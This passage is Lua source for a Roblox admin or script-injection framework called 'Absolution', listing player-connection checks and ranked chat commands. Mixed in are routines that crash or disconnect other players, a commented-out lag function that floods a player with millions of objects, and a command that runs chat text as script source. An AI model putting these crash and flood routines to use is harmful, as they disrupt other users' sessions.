- fr.BackgroundTransparency = 0.7
- fr.BackgroundColor3 = Color3.new(-1,-1,-1)
- fr.BorderColor3 = Color3.new(1,1,1)
- local tl = Instance.new("TextLabel", fr)
- tl.Size = UDim2.new(1, 0, 1, 0)
- tl.BackgroundTransparency = 1
- tl.TextColor3 = Color3.new(1,1,1)
- tl.FontSize = "Size24"
- tl.Font = 'SourceSansLight'
- tl.Text = string.gsub(msg, "", "")
- tl.Name = "Text"
- tl.TextTransparency = 0
- pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
- fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 1)
- coroutine.resume(coroutine.create(function()
- wait(8)
- fr:TweenSize(UDim2.new(0, 0, 0, 0), "Out", "Quad", 1)
- tl:remove()
- end))
- end
- end
- else
- local sg
- local function GetNumAlerts(Par)
- local Num = 0
- if Par == nil then return 0 end
- for i, Obj in pairs(Par:GetChildren()) do
- if Obj.Name:lower():find(string.lower("Absolution ScreenGui Hint")) or Obj.Name:upper():find(string.upper("Absolution ScreenGui Hint")) then
- Num = Num + 1
- end
- end
- return Num
- end
- for i,v in pairs(Absolution.Services.Players:getPlayers()) do
- if v:findFirstChild("PlayerGui") then
- sg = Instance.new("ScreenGui", v.PlayerGui)
- sg.Name = "Absolution ScreenGui Hint "..math.random(999999)
- local num = 0.025 + (-0.025+0.025*GetNumAlerts(sg.Parent))
- local fr = Instance.new("Frame", sg)
- fr.Name = "Main"
- fr.Size = UDim2.new(1, 0, 0.025, 0)
- fr.Position = UDim2.new(-1, 0, num, 0)
- fr.BackgroundTransparency = 0.5
- fr.BackgroundColor3 = Color3.new(1, 1, 1)
- fr.BorderColor3 = Color3.new(0, 0, 0)
- local tl = Instance.new("TextLabel", fr)
- tl.Size = UDim2.new(1, 0, 1, 0)
- tl.BackgroundTransparency = 1
- tl.TextColor3 = Color3.new(-1,-1,-1)
- tl.Font = "SourceSansLight"
- tl.FontSize = "Size18"
- tl.Text = string.gsub(msg, "", "")
- tl.Name = "Text"
- tl.TextTransparency = 0
- pcall(function() Absolution.Services.Debris:AddItem(sg, 4) end)
- fr:TweenPosition(UDim2.new(0, 0, num, 0), "Out", "Quad", 0.5)
- coroutine.resume(coroutine.create(function()
- wait(8)
- pcall(function() fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 0.5) end)
- tl:remove()
- end))
- end
- end
- end
- end
- -- deprecated
- --[[
- -- Lag --
- Absolution.Functions.Lag = function(plr)
- if not plr then return error'no player defined' end
- for i = 1,2800000 do
- Instance.new('Message',plr)
- end
- end
- --]]
- -- Blacklist --
- Absolution.Functions.checkBlackList = function(Plr)
- for i,v in pairs(Absolution.injectBlacklist) do
- if v.ID==Plr.userId then
- return true,v
- end
- return false,{}
- end
- end
- -- GroupRank --
- Absolution.Functions.calculateRankInGroup = function(playerObj)
- local groupRank = playerObj:GetRankInGroup(Absolution.GroupData.GroupID)
- local matchTable = Absolution.GroupData.GroupRanks
- for defrank, groupranks in pairs(matchTable) do
- for nildata, rank in pairs(groupranks) do
- if groupRank==rank and defrank>0 then
- return defrank
- end
- end
- end
- return -1
- end
- -- ConnectPlayer --
- Absolution.Functions.ConnectPlayer = function(self, Player)
- local playerName = Player.Name
- if not Absolution.Functions.getRankedTable(playerName) then Absolution.Functions:addData(Player, Player.userId, 0); end
- local playerData = Absolution.Functions.getRankedTable(playerName)
- if not playerData.Bet then playerData.Bet = '/' end
- local blackList,blTable = Absolution.Functions.checkBlackList(Player)
- if blackList and game.PlaceId ~= 20279777 then
- return
- end
- local cRank = Absolution.Functions.calculateRankInGroup(Player)
- local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
- Absolution.Functions.nickName(Player.Name, DataStore:GetAsync('user_'..Player.Name))
- Absolution.Functions.createLocalScript('Injection', Player:WaitForChild('Backpack'), Absolution.uniqueKey..' CLIENT')
- if Absolution.Ranked[Player.Name].Rank < cRank and cRank >= 0 then print'ranking up player' print(playerData.Rank, cRank) Absolution.Ranked[Player.Name].Rank = cRank Absolution.Functions.syncRankOut(Player) end
- if game.PlaceId ~= 21053279 then
- --game:GetService("MarketplaceService"):PromptPurchase(Player, 478854176)
- end
- Absolution.Connections[#Absolution.Connections+1] = Player.CharacterAdded:connect(function(q)
- Absolution.Connections[#Absolution.Connections+1] = q.DescendantAdded:connect(function(Object)
- if Absolution.Locks.Server.Local == true then
- if playerData.Rank >= 2 then return end
- if Object:IsA("BaseScript") then
- local ObjectName = Object.Name
- repeat Object.Disabled = true wait() until Object:Destroy()
- end
- end
- end)
- end)
- if not Player.Character then Player.Character = Instance.new'Model' end
- Absolution.Connections[#Absolution.Connections+1] = Player.Character.DescendantAdded:connect(function(Object)
- if Absolution.Locks.Server.Local == true then
- if playerData.Rank >= 2 then return end
- if Object:IsA("BaseScript") then
- local ObjectName = Object.Name
- repeat Object.Disabled = true wait() until Object:Destroy()
- end
- end
- end)
- Player.ChildAdded:connect(function(a)
- if a:IsA('StringValue') then
- for i,v in pairs(Absolution.Nicknames) do
- if a.Value:find(i) then
- a.Value = a.Value:gsub(i, v)
- end
- end
- end
- end)
- if Player.AccountAge < 30 then
- if Absolution.Functions:findRank(Player) < 0.5 then
- Absolution.Functions.Announce(playerName.." was kicked for being under age. They may join in "..tostring(30-Player.AccountAge).." days")
- Player:Kick('[Absolution]: You may join the server in '..tostring(30-Player.AccountAge)..' days')
- end
- end
- if Absolution.PrivateServer.Enabled then
- if Absolution.Functions:findRank(Player) < 0.5 then
- Absolution.Functions.Announce(playerName.." was kicked due to the Private Server.")
- Player:Kick('[Absolution]: Private server enabled. Please rejoin at a later time.')
- end
- end
- if Absolution.PrivateServer.GroupLock then
- if not Player:IsInGroup(Absolution.GroupData.GroupID) then
- Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
- Player:Kick('[Absolution]: Server is locked for all players not in Infinity Developers!')
- end
- end
- if Absolution.Locks.Server.Locked then
- if Absolution.Functions:findRank(Player) < Absolution.Locks.Server.rankNumber then
- Absolution.Functions.Announce(playerName.." was kicked due to the Server Lock.")
- Player:Kick('[Absolution]: Server is locked for all ranks below '..Absolution.Locks.Server.rankNumber..' for '..Absolution.Locks.Server.Duration..' more seconds!')
- end
- end
- end
- -- Commands --
- -- Rank 0 --
- Absolution.Functions.Command("Players", {"players", "plrs"}, 0, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "n" then
- Absolution.Functions.Dismiss(Speaker)
- local Number_Of_Nils = 0
- for _,v in pairs(Absolution.Functions.getALLPlayers()) do
- if v.Parent ~= Absolution.Services.Players then
- Number_Of_Nils = Number_Of_Nils + 1
- Absolution.Functions.Output(Speaker, "Crash "..v.Name.."?", nil, function()
- Absolution.Functions.Dismiss(Speaker)
- local dc = Absolution.Handler:sendPacket(v, 'disconnect', {["REASON"] = 'bcuz y not'})
- coroutine.resume(coroutine.create(function()
- wait(0.5)
- if dc then
- Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
- else
- Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
- end
- end))
- end)
- end
- end
- if Number_Of_Nils == 0 then
- return Absolution.Functions.Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
- end
- Absolution.Functions.Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
- Absolution.Functions.Output(Speaker, "Shutdown Nils?", "New Yeller", function()
- for _,v in pairs(Absolution.Functions.getALLPlayers()) do
- if v.Parent ~= Absolution.Services.Players then
- local x = Instance.new("Model", Absolution.Services.Workspace)
- local y = Instance.new("Part", x)
- y.Transparency = 1
- y.CanCollide = false
- y.Anchored = true
- y.Name = "Torso"
- y.Position = Vector3.new(10000,10000,10000)
- local z = Instance.new("Humanoid",x)
- z.Torso = y
- v.Character = x
- Absolution.Handler:sendPacket(v, 'repeat', {['REASON'] = tostring(Speaker)..' crashed you'})
- end
- end
- end)
- Absolution.Functions.Output(Speaker, "Dismiss")
- else
- Absolution.Functions.ShowPlayers(Speaker)
- end
- Absolution.Functions.Out(Speaker, 'Got Players.', 5)
- end)
- Absolution.Functions.Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -s (Spam)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "a" then
- Absolution.Functions.Dismiss(Speaker)
- Msg = Msg:gsub("-a", "")
- for i = 1, 6 do
- Absolution.Functions.Output(Speaker, "AFK")
- end
- Absolution.Functions.Output(Speaker, "Dismiss")
- elseif Absolution.Functions.GetSplit(Msg) == "s" then
- Msg = Msg:gsub("-s", "")
- local Split = Msg:find('/')
- local Message = Msg:sub(1, Split - 1)
- local Amount = Msg:sub(Split + 1)
- if tonumber(Amount) > 20 then
- Absolution.Functions.Output(Speaker, 'Too many tablets.', "Red")
- Amount = 0
- end
- Absolution.Functions.Dismiss(Speaker)
- for i = 1, Amount do
- Absolution.Functions.Output(Speaker, Message, "Random")
- end
- else
- if #Msg == 0 then Msg = "Pong!" end
- Msg = string.gsub(Msg, "", "")
- Absolution.Functions.Output(Speaker, Msg, "Random")
- Absolution.Functions.Out(Speaker, Msg, 1)
- end
- end)
- Absolution.Functions.Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Specific Player)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "p" then
- if Absolution.Functions:findRank(Speaker) >= 4 then
- Msg = Msg:gsub("-p", "")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Absolution.Functions.Dismiss(v)
- Absolution.Functions.Out(Speaker, 'Dismissed '..v.Name..'\'s tabs.', 5)
- end)
- end
- end
- else
- Absolution.Functions.Out(Speaker, "Your rank is too low to use that flag!", 4)
- end
- else
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Out(Speaker, 'Dismissed your tabs.', 5)
- end
- end)
- Absolution.Functions.Command("Notification Handler", {"notif",'notifications'}, 0, "Toggles Notifications", "No Flags", function(Speaker, Msg)
- if Msg:lower()=='off' then
- Absolution.Functions.SetIgnore(Speaker.Name)
- elseif Msg:lower()=='on' then
- Absolution.Functions.StopIgnore(Speaker.Name)
- end
- Absolution.Functions.Out(Speaker, 'Blocking Notifications: '..tostring(Absolution.Functions.IsIgnoring(Speaker.Name)), 5)
- end)
- Absolution.Functions.Command("onChatted", {"@"}, 0, "Makes Another Player onChatted", 'No Flags', function(Speaker,Msg)
- local Split = Msg:find("/")
- local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- local Message = Msg:sub(Split + 1)
- if #Player > 0 then
- for _,v in pairs(Player) do
- if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v) then
- Absolution.Functions.onChatted(v, Message)
- end
- end
- end
- end)
- Absolution.Functions.Command("Get Ranked", {"getranked", "ranked", "ranekd"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
- Absolution.Functions.Dismiss(Speaker)
- if #Msg == 0 then
- Absolution.Functions.GetRankedInterface(Speaker)
- else
- Msg = Msg:lower()
- if #Msg < 3 then
- Absolution.Functions.Output(Speaker, 'Please narrow your search.','Really red')
- return
- end
- local Number = 0
- local Table = {}
- for i,v in pairs(Absolution.Ranked) do
- if i:lower():find(Msg) then
- ypcall(function()
- table.insert(Table, i)
- Number = Number + 1
- end)
- end
- end
- if Number > 1 then
- for _,v in pairs(Table) do
- Absolution.Functions.Output(Speaker, v, nil, function()
- Absolution.Functions.GetRankedInterface(Speaker, v)
- end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
- end
- else
- for _,v in pairs(Table) do
- Absolution.Functions.GetRankedInterface(Speaker, v)
- end
- end
- end
- Absolution.Functions.Out(Speaker, 'Got Ranked.', 5)
- end)
- Absolution.Functions.Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
- if #Msg>0 and tonumber(Msg) and Absolution.Ranks[tonumber(Msg)] then
- Absolution.Functions.OpenCmds(tonumber(Msg), Speaker)
- elseif #Msg>0 and not tonumber(Msg) and Msg:lower()=='all' then
- Absolution.Functions.OpenCmds('all', Speaker)
- elseif #Msg>0 and not tonumber(Msg) then
- Absolution.Functions.Output(Speaker, 'That\'s not a valid number!', 'Really red')
- else
- Absolution.Functions.ShowCommands(Speaker)
- end
- Absolution.Functions.Out(Speaker, 'Got Commands.', 5)
- end)
- Absolution.Functions.Command("Debugger Info", {"sinfo", "serverstats", 'gstats','stats'}, 0, "Gets server stats", "No Flags", function(Speaker, Msg)
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Handler:sendPacket(Speaker, 'TerminalOn')
- for index,key in next,Absolution.Functions.getServerInfo() do
- Absolution.Functions.Out(Speaker, index..' = '.. tostring(key), 2)
- end
- Absolution.Functions.Out(Speaker, 'Got ServerStats.', 5)
- end)
- -- Rank 1 --
- Absolution.Functions.Command('Play Music',{'play','music','sound'}, 1, 'Plays music <id>','-n (No Music)',function(Speaker,Msg)
- if Absolution.Functions.GetSplit(Msg) == "n" then
- local rtn = {}
- local function recurse(obj)
- for i,v in next,obj:children'' do
- if v:isA('Sound') then
- table.insert(rtn,v)
- end
- recurse(v)
- end
- end
- for q,e in pairs(rtn) do
- v.Volume = 0
- v:Stop()
- v:Destroy()
- end
- recurse(Absolution.Services.Workspace)
- Absolution.Functions.Out(Speaker, 'Music cleared!',5)
- else
- Absolution.Functions.PlayAudio(Speaker,Msg)
- Absolution.Functions.Out(Speaker, 'Playing Audio '..Msg, 5)
- end
- end)
- Absolution.Functions.Command('Countdown', {'cd', 'count', 'countdown'}, 1, 'Makes a countdown in the server', 'No flags', function(Speaker, Msg)
- Absolution.Functions.Output(Speaker, 'Creating a countdown...', 'Random', nil, 3)
- if tonumber(Msg) and tonumber(Msg) > 0 and tonumber(Msg) < 60 then
- local Hint = Instance.new('Message', workspace)
- for i = tonumber(Msg),1,-1 do
- if not Hint and Hint.Parent.Name=='Workspace' then Hint = Instance.new('Message',workspace) end
- Hint.Text = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n[ABSOLUTION] "..i
- wait(1)
- end
- if Hint then Hint:Destroy() end
- Absolution.Functions.Out(Speaker, 'Created a countdown.', 5)
- elseif tonumber(Msg) < 0 then
- Absolution.Functions.Out(Speaker, 'You must think I\'m stupid. The number can\'t be negative!', 4)
- elseif tonumber(Msg) > 60 then
- Absolution.Functions.Out(Speaker, 'Wow nice going you stupid abuser. Don\'t play games with me! Make the number smaller.', 4)
- end
- end)
- Absolution.Functions.Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _, v2 in pairs(v.Character:GetChildren()) do
- if v2:IsA("ForceField") then
- v2:remove()
- end
- end
- Absolution.Functions.Out(Speaker, 'Removed '..v.Name..'\'s Forcefield.', 1)
- end)
- end
- end
- else
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Instance.new("ForceField", v.Character)
- Absolution.Functions.Out(Speaker, 'Gave forcefield to '..v.Name..'.', 1)
- end)
- end
- end
- end
- end)
- local HTTP = game:GetService("HttpService")
- Absolution.Functions.Command("Dictionary", {"dict","dictionary"}, 1, "Uses dictionary functions", "-e (Example) -d(Define)", function(Speaker, Msg)
- local example;
- if Absolution.Functions.GetSplit(Msg) == "e" then
- Msg = Msg:gsub('-e','')
- example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?example="..Msg.."")
- elseif Absolution.Functions.GetSplit(Msg) == "d" then
- Msg = Msg:gsub('-d','')
- example = HTTP:GetAsync("https://api.apithis.net/dictionary.php?define="..Msg.."")
- end
- if example == nil then
- --Absolution.Functions.Output(Speaker, "Please enter a word", 'Bright blue')
- Absolution.Functions.Out(Speaker, "Please enter a word", 5)
- elseif example == "No example found." then
- --Absolution.Functions.Output(Speaker, "Could not find data for "..Msg, 'Really red')
- Absolution.Functions.Out(Speaker, "Could not find data for "..Msg, 4)
- else
- --Absolution.Functions.Output(Speaker, Msg..": "..example)
- Absolution.Functions.Out(Speaker, Msg..": "..example, 1)
- end
- end)
- Absolution.Functions.Command("Server IP", {"ip", "serverip"}, 1, "Returns Server IP", "No Flags", function(Speaker, Msg)
- local example = HTTP:GetAsync("https://api.ipify.org")
- if example == nil then
- --Absolution.Functions.Output(Speaker, "Could not find IP", 'Bright blue')
- Absolution.Functions.Out(Speaker, "Could not find IP", 5)
- elseif example == "IP Not found." then
- --Absolution.Functions.Output(Speaker, "Could not find data for server.", 'Really red')
- Absolution.Functions.Out(Speaker, "Could not find data for server.", 4)
- else
- --Absolution.Functions.Output(Speaker, "Server IP: "..example)
- Absolution.Functions.Out(Speaker, "Server IP: "..example, 1)
- end
- end)
- Absolution.Functions.Command("URI Shortener", {"tinyurl",'shorten'}, 1, "Shortens an url", "No Flags", function(Speaker, Msg)
- local example = HTTP:GetAsync("https://is.gd/create.php?format=simple&url="..Msg.."")
- if example == nil then
- --Absolution.Functions.Output(Speaker, "Please enter a name", 'Bright blue')
- Absolution.Functions.Out(Speaker, "Please enter a name", 5)
- elseif example == "Error: Please enter a valid URL to shorten" then
- --Absolution.Functions.Output(Speaker, "URL: "..Msg..", is not valid", 'Really red')
- Absolution.Functions.Out(Speaker, "URL: "..Msg..", is not valid", 4)
- else
- --Absolution.Functions.Output(Speaker,"URL: "..example..".")
- Absolution.Functions.Out(Speaker, "URL: "..example..".", 1)
- end
- end)
- Absolution.Functions.Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for __,vv in pairs(v.Character:GetChildren()) do
- if vv:IsA('Humanoid') then
- vv.Name = 'Humanoid'
- vv.MaxHealth = 100
- vv.Health = 100
- end
- end
- Absolution.Functions.Out(Speaker, "Un-Goded "..v.Name..".", 1)
- end)
- end
- end
- else
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for __,vv in pairs(v.Character:GetChildren()) do
- if vv:IsA('Humanoid') then
- vv.Name = 'lal_its_a_humanoid'
- vv.MaxHealth = math.huge
- end
- end
- Absolution.Functions.Out(Speaker, "Goded "..v.Name..".", 1)
- end)
- end
- end
- end
- end)
- Absolution.Functions.Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _,v in pairs(v.Character:GetChildren()) do
- if v:IsA("Part") then
- v.Anchored = false
- end
- end
- pcall(function() v.Character.FrozenBlock:remove() end)
- Absolution.Functions.Out(Speaker, "Thawed "..v.Name..".", 1)
- end)
- end
- end
- else
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- pcall(function() v.Character.FrozenBlock:remove() end)
- for _,v in pairs(v.Character:GetChildren()) do
- if v:IsA("Part") then
- v.Anchored = true
- end
- end
- local b = Instance.new("Part", v.Character)
- b.Anchored = true
- b.Locked = true
- b.TopSurface, b.BottomSurface = 0,0
- b.Color = BrickColor.new("Light blue").Color
- b.Size = Vector3.new(5,10,5)
- b.Transparency = 0.5
- b.Name = "FrozenBlock"
- b.CFrame = v.Character.Torso.CFrame
- local Weld = Instance.new("Weld", b)
- Weld.Name = "FrozenWeld"
- Weld.Part0 = v.Character.Torso
- Weld.Part1 = b
- Absolution.Functions.Out(Speaker, "Froze "..v.Name..".", 1)
- end)
- end
- end
- end
- end)
- Absolution.Functions.Command("Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
- local Split = Msg:find('/')--('/')
- local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
- local Speed = tonumber(Msg:sub(Split + 1))
- for _,v in pairs(Player) do
- ypcall(function()
- v.Character.Humanoid.WalkSpeed = Speed
- Absolution.Functions.Out(Speaker, "Gave "..Speed.." walkspeed to "..v.Name".", 1)
- end)
- end
- end)
- Absolution.Functions.Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u", "")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _,c in pairs(v.Character:GetChildren()) do
- if c.ClassName == "Part" then
- c.Transparency = 0
- end
- if c:findFirstChild("face") then
- c.face.Transparency = 0
- end
- if c:findFirstChild("Handle") then
- c.Handle.Transparency = 0
- end
- end
- Absolution.Functions.Out(Speaker, "Made "..v.Name.." visible.", 1)
- end)
- end
- end
- else
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- for _,c in pairs(v.Character:GetChildren()) do
- if c.ClassName == "Part" then
- c.Transparency = 1
- end
- if c:findFirstChild("face") then
- c.face.Transparency = 1
- end
- if c:findFirstChild("Handle") then
- c.Handle.Transparency = 1
- end
- end
- Absolution.Functions.Out(Speaker, "Made "..v.Name.." invisible.", 1)
- end)
- end
- end
- end
- end)
- -- Rank 2 --
- Absolution.Functions.Command("Private Base Teleport",{"tpb"}, 2, "Teleports a player to the Private Base", "No Flags", function(Speaker, Msg)
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- for i,v in pairs(Players) do
- pcall(function()
- if not v.Character then v:LoadCharacter() end
- if v.Character:findFirstChild'Humanoid'.Sit==true then v.Character.Humanoid.Jump = true end
- v.Character.Torso.RotVelocity = Vector3.new(0,0,0)
- wait()
- v.Character:MoveTo(Absolution.Services.Workspace.Terrain:FindFirstChild'AbsolutionBase'.Position+Vector3.new(0,10,0))
- Absolution.Functions.Out(Speaker, "Teleported "..v.Name.." to the private base.", 1)
- end)
- end
- end)
- Absolution.Functions.Command("Btools",{"bt",'btools'}, 2, "Gives u da btools!", "No Flags", function(Speaker, Msg)
- Absolution.Functions.createLocalScript('TerrainBrushScript', Speaker:WaitForChild('Backpack'), 'le terrain!')
- script.Bin:FindFirstChild("Building Tools"):Clone().Parent = Speaker:WaitForChild('Backpack')
- Absolution.Functions.Out(Speaker, "Got btools.", 1)
- end)
- Absolution.Functions.Command("Search Music",{"sm","srchm","searchm"}, 2, "Searches catalog for music", "No Flags", function(Speaker, Msg)
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker,'Retrieving data...')
- local Audio = Absolution.Functions.GetCatalog(Msg, 9)
- local Hats = Absolution.Functions.GetCatalog(Msg, 3)
- local Gear = Absolution.Functions.GetCatalog(Msg, 5)
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Output(Speaker, "Audio:\n"..#Audio, "White", function()
- Absolution.Functions.Dismiss(Speaker)
- for _, Data in pairs(Audio) do
- Absolution.Functions.Output(Speaker, Data.Name, "White", function()
- Absolution.Functions.Dismiss(Speaker)
- local datasafe = {
- ["Name"] = Data.Name,
- ["CreatorID"] = Data.CreatorID,
- ["isLimited"] = Data.isLimited,
- ["Sales"] = Data.Sales,
- ["Favorited"] = Data.Favorited,
- ["Description"] = Data.Description,
- ["IsForSale"] = Data.IsForSale,
- ["Creator"] = Data.Creator,
- ["Updated"] = Data.Updated,
- }
- for i,v in pairs(datasafe) do
- pcall(function()
- Absolution.Functions.Output(Speaker,i..': '..tostring(v))
- end)
- end
- Absolution.Functions.Output(Speaker, 'Play '..Data.Name, 'White', function()Absolution.Functions.PlayAudio(Speaker,Data.AssetId) Absolution.Functions.Out(Speaker, "Playing "..Data.Name..".", 1)end)
- end)
- end
- end)
- Absolution.Functions.Output(Speaker, "Hats:\n"..#Hats, "Bright violet", function()
- Absolution.Functions.Dismiss(Speaker)
- for _, Data in pairs(Hats) do
- Absolution.Functions.Output(Speaker, Data.Name.."\n("..Data.AssetId..")", "Bright violet", function()
- for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
- if Speaker.Character then
- Child.Parent = Speaker.Character
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Out(Speaker, "Got hat "..Data.Name.." ("..Data.AssetId..").", 1)
- end
- end
- end)
- end
- end)
- Absolution.Functions.Output(Speaker, "Gear:\n"..#Gear, "Bright green", function()
- Absolution.Functions.Dismiss(Speaker)
- for _, Data in pairs(Gear) do
- Absolution.Functions.Output(Speaker, Data.Name..":\n"..Data.AssetId, "Bright green", function()
- for _, Child in pairs(Absolution.Services.InsertService:LoadAsset(Data.AssetId):GetChildren()) do
- Child.Parent = Speaker:FindFirstChild("Backpack") or Absolution.Services.Workspace
- Absolution.Functions.Dismiss(Speaker)
- Absolution.Functions.Out(Speaker, "Got gear "..Data.Name.." ("..Data.AssetId..").", 1)
- end
- end)
- end
- end)
- end)
- Absolution.Functions.Command('Script',{'skrip','skript','cancer','syntax'}, 2, 'Creates a new script with msg as source', 'No flags', function(Speaker, Msg)
- if #Msg > 0 then
- Absolution.Functions.createScript(Msg, Absolution.Services.Workspace, Speaker.Name..tick())
- Absolution.Functions.Out(Speaker, "Creating normal script.", 1)
- end
- end)
- Absolution.Functions.Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets) -c (Chat)", function(Speaker,Msg)
- if Absolution.Functions.GetSplit(Msg) == "h" then
- Msg = Msg:gsub("-h", "")
- local m = Instance.new("Hint", Absolution.Services.Workspace)
- m.Text = Msg
- Absolution.Services.Debris:AddItem(m, 3)
- elseif Absolution.Functions.GetSplit(Msg) == "hg" then
- Msg = Msg:gsub("-hg", "")
- Absolution.Functions.Announce(Msg, false)
- elseif Absolution.Functions.GetSplit(Msg) == "t" then
- Msg = Msg:gsub("-t", "")
- Absolution.Functions.Output("All",Speaker.Name..": "..Msg, "Random", nil, 3)
- elseif Absolution.Functions.GetSplit(Msg) == "c" then
- Msg = Msg:gsub("-c", "")
- Absolution.Handler.sendChat(Msg, nil, Speaker.Name)
- Absolution.Functions.Out('All', Speaker.Name..': '..Msg, 5)
- elseif Absolution.Functions.GetSplit(Msg) == "m" then
- Msg = Msg:gsub("-m", "")
- local m = Instance.new("Message", Absolution.Services.Workspace)
- m.Text = Speaker.Name..": "..Msg
- Absolution.Services.Debris:AddItem(m, 3)
- else
- Absolution.Functions.Announce(Msg, true)
- end
- end)
- -- Rank 3 --
- Absolution.Functions.Command("Hamster Ball", {"ball"}, 3, "Gives the speaker a hamster ball.", "No Flags",function(Speaker, Msg)
- if Speaker.Character then
- if Speaker.Character:findFirstChild'Torso' then
- local pos = Speaker.Character.Torso.Position
- Absolution.Functions.MakeBall(pos)
- Absolution.Functions.Out(Speaker, "Got ball.", 1)
- end
- end
- end)
- --[[
- Absolution.Functions.Command("Blind", {"blnd",'nosee','bgui','blind'}, 3, "Toggles a player's blind", "No Flags",function(Speaker, Msg)
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- local Status;
- Absolution.Functions.Dismiss(Speaker)
- if #Players > 0 then
- for _,v in pairs(Players) do
- coroutine.wrap(function()
- ypcall(function()
- Status = Absolution.Handler:sendPacket(v, 'Blind',{})
- Absolution.Functions.Out(Speaker, "Blinded "..v.Name..".", 1)
- end)
- end)
- end
- end
- end)--]]
- Absolution.Functions.Command("Mute", {"mute"}, 3, "Mutes A Player", "-u (UnMute)", function(Speaker, Msg)
- if Absolution.Functions.GetSplit(Msg) == "u" then
- Msg = Msg:gsub("-u","")
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Absolution.Handler:sendPacket(v, "unmute")
- Absolution.Functions.Out(Speaker, "Unmuted "..v.Name..".", 1)
- end)
- end
- end
- else
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- Absolution.Handler:sendPacket(v, "mute")
- Absolution.Functions.Out(Speaker, "Muted "..v.Name..".", 1)
- end)
- end
- end
- end
- end)
- Absolution.Functions.Command("Remove hats", {'nohats','nohat','nh','removehats','bald'}, 3, "Removes a player's hats", "No Flags", function(Speaker, Msg)
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players > 0 then
- for _,v in pairs(Players) do
- ypcall(function()
- if v.Character then
- for i,v in pairs(v.Character:children()) do
- if v:IsA('Hat') then
- v:Destroy()
- end
- end
- end
- Absolution.Functions.Out(Speaker, "Removed "..v.Name.."'s hats", 1)
- end)
- end
- else
- Absolution.Functions.Output(Speaker, 'No players defined.','Really red')
- end
- end)
- Absolution.Functions.Command("GetPlayerInfo", {"pinfo",'showdata','pdata','ginfo'}, 3, "Gets a players info", "No Flags", function(Speaker, Msg)
- local Players = Absolution.Functions.getPlayers(Speaker, Msg)
- if #Players <= 1 then
- for _,v in pairs(Players) do
